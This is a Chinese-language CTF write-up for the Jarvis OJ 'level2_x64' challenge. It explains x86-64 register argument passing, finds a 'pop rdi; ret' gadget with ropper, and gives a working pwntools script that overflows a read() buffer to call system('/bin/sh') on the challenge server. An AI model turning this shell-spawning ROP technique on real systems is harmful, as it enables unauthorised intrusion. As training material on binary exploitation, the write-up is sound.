简介 :
项目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn题目及 writeup 汇总)
下载地址 : https://dn.jarvisoj.com/challengefiles/level2_x64.04d700633c6dc26afc6a1e7e9df8c94e
地址 :
nc pwn2.jarvisoj.com 9882
分析 :
rop
首先 read() 函数存在缓冲区溢出漏洞
这个程序是 : 64 位程序 , 函数调用时参数并不是像 32 位程序那样全部存放在栈中
而是这样 :
如果函数的参数数量小于 6 , 则从左至右依次存放在寄存器 :
rdi, rsi, rdx, rcx, r8, r9
如果大于 6 , 那么多出来的参数按照从右至左的顺序依次压栈
详情请参考文章末尾的参考链接
我们这里需要构造 system("/bin/sh") 的调用栈
因此需要使用到寄存器传参 , 根据 rop 的思想 :
需要首先在可执行程序(或者该程序的动态连接库)中寻找 pop rdi; ret 这两条汇编指令的机器码
可以利用 ropper 在可执行程序中寻找 :
ropper -f level2_x64 --search "pop|rdi|ret|"
找到一个可用的 :
0x00000000000006b3: pop rdi; ret;
然后就可以构造 payload
payload = junk + fake + pop_rdi_ret_address + bin_sh_address + system_address
该题目中在数据段已经给了 "/bin/sh" 的字符串 , 我们只需要使用即可
64位函数参数个数大于 6 的栈帧.png
64位函数参数个数小于 6 的栈帧.png
32位函数的栈帧.png
利用代码 :
#!/usr/bin/env python
# encoding:utf-8
from pwn import *
pop_rdi_ret_address = p64(0x4006b3)
bin_sh_address = p64(0x600A90)
system_address = p64(0x4004C0)
payload = "A" * 0x80 + "B" * 0x08
payload += pop_rdi_ret_address
payload += bin_sh_address
payload += system_address
# Io = process("./level2_x64")
Io = remote("pwn2.jarvisoj.com", 9882)
Io.write(payload)
Io.interactive()
参考资料 :
[Stack frame layout on x86-64]
(http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64)
[Where the top of the stack is on x86]
(http://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86)
网友评论